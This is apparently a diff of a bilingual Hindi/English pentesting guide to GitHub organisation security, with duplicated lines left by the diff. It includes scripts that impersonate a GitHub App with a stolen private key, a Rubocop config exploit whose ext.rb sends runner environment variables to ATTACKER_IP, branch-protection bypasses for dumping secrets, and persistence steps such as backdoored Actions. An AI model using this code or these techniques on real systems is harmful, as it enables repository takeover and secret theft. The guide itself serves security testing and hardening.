- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
|
||||
_यदि आप इस जानकारी तक पहुँचने के लिए API एंडपॉइंट जानते हैं तो मुझे बताएं!_
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
|
||||
- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा के बाद)।
|
||||
- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशनों की अनुमति दें (उनकी समीक्षा के बाद)।
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
|
||||
इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त कर ली है।
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
|
||||
### With User Credentials
|
||||
|
||||
यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देखें कि सामान्य सदस्यों के पास कौन से **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास किस **रिपॉजिटरी** पर **कौन सी अनुमतियाँ हैं**, और **रिपॉजिटरी कैसे सुरक्षित हैं।**
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
|
||||
ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें**।
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
|
||||
> [!NOTE]
|
||||
> ध्यान दें कि यदि आप **`user_session` कुकी को चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से अनुकरण कर सकते हैं**।
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
|
||||
यदि यह उपयोगी हो तो [**branch protections bypasses**](#branch-protection-bypass) के बारे में नीचे दिए गए अनुभाग की जांच करें।
|
||||
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
|
||||
|
||||
### With User SSH Key
|
||||
|
||||
Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड को तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
|
||||
इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषाधिकार हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि उस जानकारी को प्राप्त किया जा सके जो आपके पास पहुँच है:
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने github उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में **जनता की चाबियाँ** _https://github.com/\<github_username>.keys_ पर पहुंच सकते हैं, आप यह पुष्टि करने के लिए इसे जांच सकते हैं कि जो निजी कुंजी आपने पाई है, उसका उपयोग किया जा सकता है।
|
||||
|
||||
**SSH कुंजी** को **डिप्लॉय कुंजी** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुंच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी।
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
|
||||
#### GPG कुंजी
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
स्थानीय रूप से जांचें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
|
||||
### With User Token
|
||||
|
||||
[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहां देखें**](basic-github-information.md#personal-access-tokens)।
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
एक यूजर टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या इसे [**बेसिक ऑथेंटिकेशन के माध्यम से API के लिए प्रमाणित करने के लिए उपयोग किया जा सकता है**](https://docs.github.com/v3/auth/#basic-authentication)। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएं करने में सक्षम हो सकते हैं।
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
|
||||
एक यूजर टोकन इस तरह दिखता है: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
### With Oauth Application
|
||||
|
||||
[**Github Oauth एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहां देखें**](basic-github-information.md#oauth-applications)।
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
|
||||
एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुंच प्राप्त की जा सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
ये [स्कोप हैं जो एक Oauth एप्लिकेशन अनुरोध कर सकता है](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)। एक को हमेशा स्वीकार करने से पहले अनुरोधित स्कोप की जांच करनी चाहिए।
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
|
||||
इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, **संस्थाएं तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुंच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
### With Github Application
|
||||
|
||||
[**Github एप्लिकेशनों के बारे में बुनियादी जानकारी के लिए यहां देखें**](basic-github-information.md#github-applications)।
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
|
||||
एक हमलावर एक **दुष्ट Github एप्लिकेशन** बना सकता है ताकि उन उपयोगकर्ताओं के विशेषाधिकार प्राप्त डेटा/क्रियाओं तक पहुंच प्राप्त की जा सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं।
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
इसके अलावा, जैसा कि बुनियादी जानकारी में बताया गया है, **संस्थाएं तीसरे पक्ष के एप्लिकेशनों को जानकारी/रेपोज/क्रियाओं तक पहुंच देने/नकारने** का अधिकार रखती हैं जो संगठन से संबंधित हैं।
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
|
||||
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
|
||||
|
||||
यदि आप एक GitHub एप्लिकेशन की निजी कुंजी (PEM) प्राप्त करते हैं, तो आप इसके सभी इंस्टॉलेशन में एप्लिकेशन का पूरी तरह से अनुकरण कर सकते हैं:
|
||||
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
|
||||
|
||||
- निजी कुंजी के साथ हस्ताक्षरित एक अल्पकालिक JWT उत्पन्न करें
|
||||
- इंस्टॉलेशन की सूची बनाने के लिए GitHub एप्लिकेशन REST API को कॉल करें
|
||||
- प्रति-इंस्टॉलेशन एक्सेस टोकन बनाएं और उनका उपयोग उन रेपोजिटरी को सूचीबद्ध/क्लोन/पुश करने के लिए करें जो उस इंस्टॉलेशन को दिए गए हैं
|
||||
- Generate a short‑lived JWT signed with the private key
|
||||
- Call the GitHub App REST API to enumerate installations
|
||||
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
|
||||
|
||||
आवश्यकताएँ:
|
||||
- GitHub एप्लिकेशन की निजी कुंजी (PEM)
|
||||
- GitHub एप्लिकेशन ID (संख्यात्मक)। GitHub को आवश्यक है कि iss एप्लिकेशन ID हो
|
||||
Requirements:
|
||||
- GitHub App private key (PEM)
|
||||
- GitHub App ID (numeric). GitHub requires iss to be the App ID
|
||||
|
||||
Create JWT (RS256):
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
प्रमाणित ऐप के लिए इंस्टॉलेशन सूची:
|
||||
|
||||
List installations for the authenticated app:
|
||||
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
एक इंस्टॉलेशन एक्सेस टोकन बनाएं (मान्य ≤ 10 मिनट):
|
||||
|
||||
Create an installation access token (valid ≤ 10 minutes):
|
||||
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
कोड तक पहुँचने के लिए टोकन का उपयोग करें। आप x‑access‑token URL रूप का उपयोग करके क्लोन या पुश कर सकते हैं:
|
||||
|
||||
Use the token to access code. You can clone or push using the x‑access‑token URL form:
|
||||
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
विशिष्ट संगठन को लक्षित करने और निजी रिपोजिटरी की सूची बनाने के लिए प्रोग्रामेटिक PoC (PyGithub + PyJWT):
|
||||
|
||||
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
@@ -240,53 +253,57 @@ print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
|
||||
Notes:
|
||||
- इंस्टॉलेशन टोकन ऐप के रिपॉजिटरी-स्तरीय अनुमतियों को ठीक से विरासत में लेते हैं (उदाहरण के लिए, contents: write, pull_requests: write)
|
||||
- टोकन ≤10 मिनट में समाप्त हो जाते हैं, लेकिन यदि आप निजी कुंजी को बनाए रखते हैं तो नए टोकन अनिश्चितकाल तक बनाए जा सकते हैं
|
||||
- आप JWT का उपयोग करके REST API (GET /app/installations) के माध्यम से इंस्टॉलेशन की गणना भी कर सकते हैं
|
||||
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
|
||||
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
|
||||
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
|
||||
|
||||
## समझौता और दुरुपयोग Github Action
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
Github Action को समझौता करने और दुरुपयोग करने के कई तकनीकें हैं, उन्हें यहाँ देखें:
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## बाहरी उपकरणों (Rubocop एक्सटेंशन RCE) को चलाने वाले तीसरे पक्ष के GitHub ऐप्स का दुरुपयोग
|
||||
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
|
||||
|
||||
कुछ GitHub ऐप्स और PR समीक्षा सेवाएँ पुल अनुरोधों के खिलाफ बाहरी लिंटर्स/SAST को रिपॉजिटरी-नियंत्रित कॉन्फ़िगरेशन फ़ाइलों का उपयोग करके निष्पादित करती हैं। यदि एक समर्थित उपकरण गतिशील कोड लोडिंग की अनुमति देता है, तो एक PR सेवा के रनर पर RCE प्राप्त कर सकता है।
|
||||
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
|
||||
|
||||
उदाहरण: Rubocop अपने YAML कॉन्फ़िग से एक्सटेंशन लोड करने का समर्थन करता है। यदि सेवा एक repo-प्रदान की गई .rubocop.yml को पास करती है, तो आप एक स्थानीय फ़ाइल को आवश्यक करके मनमाना Ruby निष्पादित कर सकते हैं।
|
||||
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
|
||||
|
||||
- ट्रिगर स्थितियों में आमतौर पर शामिल हैं:
|
||||
- उपकरण सेवा में सक्षम है
|
||||
- PR में फ़ाइलें होती हैं जिन्हें उपकरण पहचानता है (Rubocop के लिए: .rb)
|
||||
- रिपॉजिटरी में उपकरण की कॉन्फ़िग फ़ाइल होती है (Rubocop कहीं भी .rubocop.yml के लिए खोजता है)
|
||||
- Trigger conditions usually include:
|
||||
- The tool is enabled in the service
|
||||
- The PR contains files the tool recognizes (for Rubocop: .rb)
|
||||
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
|
||||
|
||||
PR में शोषण फ़ाइलें:
|
||||
Exploit files in the PR:
|
||||
|
||||
.rubocop.yml
|
||||
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
- ./ext.rb
|
||||
```
|
||||
ext.rb (एक्सफिल्ट्रेट रनर एन्व वेरिएबल्स):
|
||||
|
||||
ext.rb (exfiltrate runner env vars):
|
||||
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
@@ -297,15 +314,16 @@ json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
|
||||
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
|
||||
|
||||
Impact observed in the wild:
|
||||
@@ -320,17 +338,17 @@ Hardening guidelines for services running external tools:
|
||||
|
||||
## Branch Protection Bypass
|
||||
|
||||
- **Require a number of approvals**: यदि आपने कई खातों से समझौता किया है, तो आप बस अन्य खातों से अपने PRs को स्वीकार कर सकते हैं। यदि आपके पास केवल वही खाता है जिससे आपने PR बनाया है, तो आप अपने PR को स्वीकार नहीं कर सकते। हालाँकि, यदि आपके पास रिपॉजिटरी के अंदर **Github Action** वातावरण तक पहुँच है, तो **GITHUB_TOKEN** का उपयोग करते हुए आप **अपने PR को स्वीकृत** कर सकते हैं और इस तरह 1 स्वीकृति प्राप्त कर सकते हैं।
|
||||
- _इस और कोड मालिकों की प्रतिबंध के लिए नोट करें कि आमतौर पर एक उपयोगकर्ता अपने PRs को स्वीकृत नहीं कर पाएगा, लेकिन यदि आप ऐसा कर सकते हैं, तो आप इसका दुरुपयोग करके अपने PRs को स्वीकार कर सकते हैं।_
|
||||
- **Dismiss approvals when new commits are pushed**: यदि यह सेट नहीं है, तो आप वैध कोड सबमिट कर सकते हैं, किसी के द्वारा इसे स्वीकृत होने की प्रतीक्षा कर सकते हैं, और फिर दुर्भावनापूर्ण कोड डालकर इसे सुरक्षित शाखा में मिला सकते हैं।
|
||||
- **Require reviews from Code Owners**: यदि यह सक्रिय है और आप एक कोड मालिक हैं, तो आप **Github Action को अपना PR बनाने और फिर इसे स्वयं स्वीकृत करने** के लिए कह सकते हैं।
|
||||
- जब **CODEOWNER फ़ाइल गलत कॉन्फ़िगर की गई** होती है, तो Github शिकायत नहीं करता लेकिन इसका उपयोग नहीं करता। इसलिए, यदि यह गलत कॉन्फ़िगर है, तो **कोड मालिकों की सुरक्षा लागू नहीं होती।**
|
||||
- **Allow specified actors to bypass pull request requirements**: यदि आप इनमें से एक अभिनेता हैं, तो आप पुल अनुरोध सुरक्षा को बायपास कर सकते हैं।
|
||||
- **Include administrators**: यदि यह सेट नहीं है और आप रिपॉजिटरी के प्रशासक हैं, तो आप इस शाखा की सुरक्षा को बायपास कर सकते हैं।
|
||||
- **PR Hijacking**: आप **किसी और के PR को संशोधित** करने में सक्षम हो सकते हैं, दुर्भावनापूर्ण कोड जोड़ सकते हैं, परिणामस्वरूप PR को स्वयं स्वीकृत कर सकते हैं और सब कुछ मिला सकते हैं।
|
||||
- **Removing Branch Protections**: यदि आप **रिपॉजिटरी के प्रशासक हैं, तो आप सुरक्षा को निष्क्रिय कर सकते हैं**, अपने PR को मिला सकते हैं और सुरक्षा को फिर से सेट कर सकते हैं।
|
||||
- **Bypassing push protections**: यदि एक रिपॉजिटरी **केवल कुछ उपयोगकर्ताओं** को शाखाओं में पुश (कोड मिलाना) करने की अनुमति देती है (शाखा सुरक्षा सभी शाखाओं की सुरक्षा कर सकती है जो वाइल्डकार्ड `*` निर्दिष्ट करती है)।
|
||||
- यदि आपके पास **रिपॉजिटरी पर लिखने की अनुमति है लेकिन आपको शाखा सुरक्षा के कारण कोड पुश करने की अनुमति नहीं है**, तो आप अभी भी **एक नई शाखा बना सकते हैं** और इसके भीतर एक **github action बना सकते हैं जो कोड पुश होने पर ट्रिगर होता है**। चूंकि **शाखा सुरक्षा शाखा के बनने तक सुरक्षा नहीं देती**, इस शाखा में पहले कोड पुश से **github action निष्पादित होगा**।
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
|
||||
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
|
||||
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
|
||||
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
|
||||
|
||||
## Bypass Environments Protections
|
||||
|
||||
@@ -339,45 +357,49 @@ For an introduction about [**Github Environment check the basic information**](b
|
||||
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
|
||||
|
||||
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
|
||||
|
||||
```yaml
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
branches:
|
||||
- current_branch_name #Use '**' to run when a push is made to any branch
|
||||
```
|
||||
ध्यान दें कि **शाखा के निर्माण के बाद** **शाखा सुरक्षा नए शाखा पर लागू होगी** और आप इसे संशोधित नहीं कर पाएंगे, लेकिन उस समय तक आप पहले ही रहस्यों को डंप कर चुके होंगे।
|
||||
|
||||
## स्थिरता
|
||||
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
|
||||
|
||||
- **उपयोगकर्ता टोकन** उत्पन्न करें
|
||||
- **गिटहब टोकन** को **रहस्यों** से चुराएं
|
||||
- कार्यप्रवाह **परिणामों** और **शाखाओं** का **हटाना**
|
||||
- सभी संगठन को **अधिक अनुमतियाँ** दें
|
||||
- जानकारी को निकालने के लिए **वेबहुक** बनाएं
|
||||
- **बाहरी सहयोगियों** को आमंत्रित करें
|
||||
- **SIEM** द्वारा उपयोग किए गए **वेबहुक** को **हटाएं**
|
||||
- **बैकडोर** के साथ **गिटहब क्रिया** बनाएं/संशोधित करें
|
||||
- **गुप्त** मान संशोधन के माध्यम से **कमांड इंजेक्शन** के लिए **कमजोर गिटहब क्रिया** खोजें
|
||||
## Persistence
|
||||
|
||||
### धोखेबाज़ कमिट - रेपो कमिट के माध्यम से बैकडोर
|
||||
- Generate **user token**
|
||||
- Steal **github tokens** from **secrets**
|
||||
- **Deletion** of workflow **results** and **branches**
|
||||
- Give **more permissions to all the org**
|
||||
- Create **webhooks** to exfiltrate information
|
||||
- Invite **outside collaborators**
|
||||
- **Remove** **webhooks** used by the **SIEM**
|
||||
- Create/modify **Github Action** with a **backdoor**
|
||||
- Find **vulnerable Github Action to command injection** via **secret** value modification
|
||||
|
||||
गिटहब में यह संभव है कि **एक फोर्क से एक रेपो के लिए PR बनाया जाए**। भले ही PR **स्वीकृत** न हो, एक **कमिट** आईडी मूल रेपो के लिए कोड के फोर्क संस्करण के लिए बनाई जाएगी। इसलिए, एक हमलावर **ऐसे विशेष कमिट का उपयोग करने के लिए पिन कर सकता है जो एक स्पष्ट रूप से वैध रेपो से है जिसे रेपो के मालिक द्वारा नहीं बनाया गया था**।
|
||||
### Imposter Commits - Backdoor via repo commits
|
||||
|
||||
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
|
||||
|
||||
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
|
||||
जैसे [**यह**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
|
||||
```yaml
|
||||
name: example
|
||||
on: [push]
|
||||
jobs:
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
commit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
|
||||
- shell: bash
|
||||
run: |
|
||||
echo 'hello world!'
|
||||
```
|
||||
